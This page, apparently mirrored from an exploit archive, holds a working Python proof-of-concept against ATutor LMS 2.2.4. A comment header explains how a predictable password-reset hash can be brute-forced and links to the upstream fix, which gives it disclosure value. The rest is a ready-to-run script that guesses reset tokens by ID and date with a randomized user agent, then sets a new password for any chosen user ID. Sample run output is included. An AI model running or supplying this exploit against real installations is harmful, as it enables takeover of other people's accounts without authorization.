Share
## https://sploitus.com/exploit?id=PACKETSTORM:157563
# Exploit Title: ATutor LMS 2.2.4 - Weak Password Reset Hash  
# Date: 2020-05-05  
# Exploit Author: Hodorsec  
# Version: 2.2.4  
# Software Link: https://atutor.github.io/atutor/downloads.html  
# Vendor Homepage: https://atutor.github.io  
# Tested on: Debian 10 x64 - PHP 7.3.15-3  
  
# Problem:  
# While the original intention of the program was to probably concatenate strings as indicated for the $hash value, this doesn't happen.  
# Instead, due to the left-associativity of the "+" operator, the integers of "id" and "g" are added first.  
# Lastly, the password gets added as integer as well via the "h" SHA1 hashed password, while a SHA1 password doesn't consist of only integers.  
#  
# Analysis:  
# During analysis, it appeared ONLY the first readable numeric digits are added from the SHA1 hash.   
# Numeric digits at the beginning of a random SHA1 string, are being added to the variables "id" and "h".   
# This might have an impact on many requests, if a large numeric prefix is used in a SHA1 hash.  
#  
# Vulnerability:  
# A valid user ID, the UNIX Epoch in days of maximum +2 and a generated number would be sufficient to generate valid hash bits.  
# The hash bits could be attempted to send to the webserver, and if the content contains a valid "change your password" dialog, the attack was successful.  
#  
# Impact:  
# This means any malicious attacker could modify the password of every user, issueing a maximum of 100 requests per user ID.  
#  
# Fix:  
# Appears to be already fixed on the Master branch on Github, however: the 2.2.4 "tar.gz" still contains the unfixed version of "password_reminder.php"  
#  
# Github details:   
# https://github.com/atutor/ATutor/issues/177  
# https://github.com/atutor/ATutor/commit/557dc83071ec36c5ca22a1ea08d57778283905ca  
#  
# Reproduction:  
# EXAMPLE  
# $ python3 poc_atutor_2.2.4_iterate_hashbits.py http 192.168.252.13 80 /ATutor 1 2 password  
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=6d520a1dabb8ae6  
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=c3300a342a267a4  
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=cd255501ba0a052  
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=1a9df2a3fad2f0c  
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=1450a1414a4107e  
# [*] Issueing password change requests to URL: http://192.168.252.13:80/ATutor/password_reminder.php?id=1&g=18385&h=83618d638c3b1fa  
#  
# [*] SUCCESS: Hashbit 83618d638c3b1fa allows changing password for user ID 1 using 18385 for Epoch days  
# [*] Used 6 number of requests  
#  
# [*] Changing password...  
# [*] Password changed successfully!  
  
#!/usr/bin/python3  
import hashlib,string,itertools,re,sys  
import requests  
import urllib3  
import os  
import time  
import sys  
from random_useragent.random_useragent import Randomize # Randomize useragent  
  
# Optionally, use a proxy  
# proxy = "http://<user>:<pass>@<proxy>:<port>"  
proxy = ""  
os.environ['http_proxy'] = proxy  
os.environ['HTTP_PROXY'] = proxy  
os.environ['https_proxy'] = proxy  
os.environ['HTTPS_PROXY'] = proxy  
  
# Disable cert warnings  
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)  
  
# Set timeout  
timeout = 3  
  
# URL  
urlpage = "/password_reminder.php"  
  
# Handle CTRL-C  
def keyboard_interrupt():  
"""Handles keyboardinterrupt exceptions"""  
print("\n\n[*] User requested an interrupt, exiting...")  
exit(1)  
  
# Set optional headers  
def http_headers():  
# Randomize useragent  
useragent = Randomize().random_agent('desktop', 'windows')  
# HTTP Headers. Might need modification for each webapplication  
headers = {  
'User-Agent': useragent,  
}  
return headers  
  
def gen_code(id, epoch_day, digits):  
""" Generate a hash_bit, substring of a SHA1 hash based on 'id', 'g' (epoch day) and SHA1 raw-hashed password  
94 $hash = sha1($_REQUEST['id'] + $_REQUEST['g'] + $row['password']);  
95 $hash_bit = substr($hash, 5, 15); """  
codes = []  
chars = range(0,10 ** digits) # Range of numeric digits to use for guessing the SHA1 prefix  
for num in chars:  
to_hash = str(id + epoch_day + num) # Only checks on the first set of numeric occurences in the SHA1 hash  
hash_bit = hashlib.sha1(to_hash.encode()).hexdigest()[5:5+15] # Hash it, Python equivalent of PHP substr(5,15)  
codes.append(hash_bit) # Add the hashbit to the array for testing later on  
return codes  
  
def iterate_hashbits(method, host, port, prefix, id, digits):  
""" Set epochs with a maximum of today + 2  
75 //check if expired  
76 $current = intval(((time()/60)/60)/24);  
77 $expiry_date = $_REQUEST['g'] + AT_PASSWORD_REMINDER_EXPIRY; //2 days after creation """  
current_epoch_days = int(((int(time.time()) / 60) / 60) / 24) # Calculate current Epoch in days  
max_epoch_days = int(current_epoch_days + 2) # Maximum Epoch in days, as hardcoded by Atutor  
  
# Set initial variables  
headers = http_headers() # Reuse the static headers, due to odd behaviour of Atutor changing user-agent between requests  
txt_pass_change = "Enter a new password for your account" # Text to check later if attempt was successfull  
count = 0  
  
# Iterate between today and today + 2  
# Iteration of hashbits  
for epoch_day in range(current_epoch_days, max_epoch_days + 1): # Add one to include stop value for range  
codes = gen_code(id, epoch_day, digits)  
for code in codes:  
url = method + "://" + host + ":" + port + prefix + urlpage + "?id=" + str(id) + "&g=" + str(epoch_day) + "&h=" + code  
print("[*] Issueing password change requests to URL: " + url)  
  
try:  
r = requests.get(url, allow_redirects=False, headers=headers, verify=False, timeout=timeout)  
count += 1  
except requests.exceptions.Timeout:  
print("[!] Timeout error\n")  
except requests.exceptions.TooManyRedirects:  
print("[!] Too many redirects\n")  
except requests.exceptions.ConnectionError:  
print("[!] Not able to connect to URL\n")  
except requests.exceptions.RequestException as e:  
print("[!] " + e)  
except requests.exceptions.HTTPError as e:  
print("[!] Failed with error code - " + e.code + "\n")  
except KeyboardInterrupt:  
keyboard_interrupt()  
  
if txt_pass_change in r.text:  
print("\n[*] SUCCESS: Hashbit " + code + " allows changing password for user ID " + str(id) + " using " + str(epoch_day) + " for Epoch days")  
print("[*] Used " + str(count) + " number of requests\n")  
return [code, epoch_day]  
elif int(r.status_code) != 200:  
print("\n[!] FAIL: " + url + " doesn't seem to respond correctly.\n")  
exit(-1)  
print("\n[!] FAIL: Code not found, something went wrong.\n")  
exit(-1)  
  
def change_pass(method, host, port, prefix, id, code, epoch_day, password):  
""" Set a new password with a valid hashbit as code  
97 if ($_REQUEST['h'] !== $hash_bit) {  
98 $msg->addError('INVALID_LINK');  
99 } else if (($_REQUEST['h'] == $hash_bit) && !isset($_POST['form_change'])) {  
100 $savant->assign('id', $_REQUEST['id']);  
101 $savant->assign('g', $_REQUEST['g']);  
102 $savant->assign('h', $_REQUEST['h']);  
103 $savant->display('password_change.tmpl.php');  
104 }  
"""   
print("[*] Changing password...")  
headers = http_headers()  
url = method + "://" + host + ":" + port + prefix + urlpage  
sha1_pass = hashlib.sha1(password.encode()).hexdigest()  
post_data = {'form_change':'true',  
'id':str(id),  
'h':code,  
'g':str(epoch_day),  
'form_password_hidden':sha1_pass,  
'submit':'Submit'}  
  
try:  
r = requests.post(url, data=post_data, headers=headers, verify=False, timeout=timeout)  
except requests.exceptions.Timeout:  
print("[!] Timeout error\n")  
except requests.exceptions.TooManyRedirects:  
print("[!] Too many redirects\n")  
except requests.exceptions.ConnectionError:  
print("[!] Not able to connect to URL\n")  
except requests.exceptions.RequestException as e:  
print("[!] " + e)  
except requests.exceptions.HTTPError as e:  
print("[!] Failed with error code - " + e.code + "\n")  
except KeyboardInterrupt:  
keyboard_interrupt()  
  
if 'changed' in r.text:  
print("[*] Password changed successfully!\n")  
exit(1)  
else:  
print("[!] Something went wrong changing password.\n")  
exit(-1)  
  
def main():  
if len(sys.argv) != 8:  
print("[+] Usage: " + sys.argv[0] + " <http/https> <host> <port> <url_prefix> <user_id> <digits> <password>\n")  
print("[+] Eg: " + sys.argv[0] + " http 192.168.11.1 80 /ATutor 1 2 Password12345")  
print("[+] Eg: " + sys.argv[0] + " https yourlocalserver.local 443 / 3 4 Someotherpassword\n")  
print("[+] Use the <digits> parameters with caution due to possible excessive amounts of requests, uses 'digit ^ 10' amount of requests. Value 2 would be a nice value to start with.\n")  
exit(-1)  
  
# Set variables  
method = str(sys.argv[1])  
host = str(sys.argv[2])  
port = str(sys.argv[3])  
url_prefix = str(sys.argv[4])  
id = int(sys.argv[5])  
digits = int(sys.argv[6])  
password = str(sys.argv[7])  
  
# Iterate through bits of hashes  
code_epoch = iterate_hashbits(method, host, port, url_prefix, id, digits)  
code = code_epoch[0]  
epoch_day = code_epoch[1]  
change_pass(method, host, port, url_prefix, id, code, epoch_day, password)  
  
if __name__ == "__main__":  
main()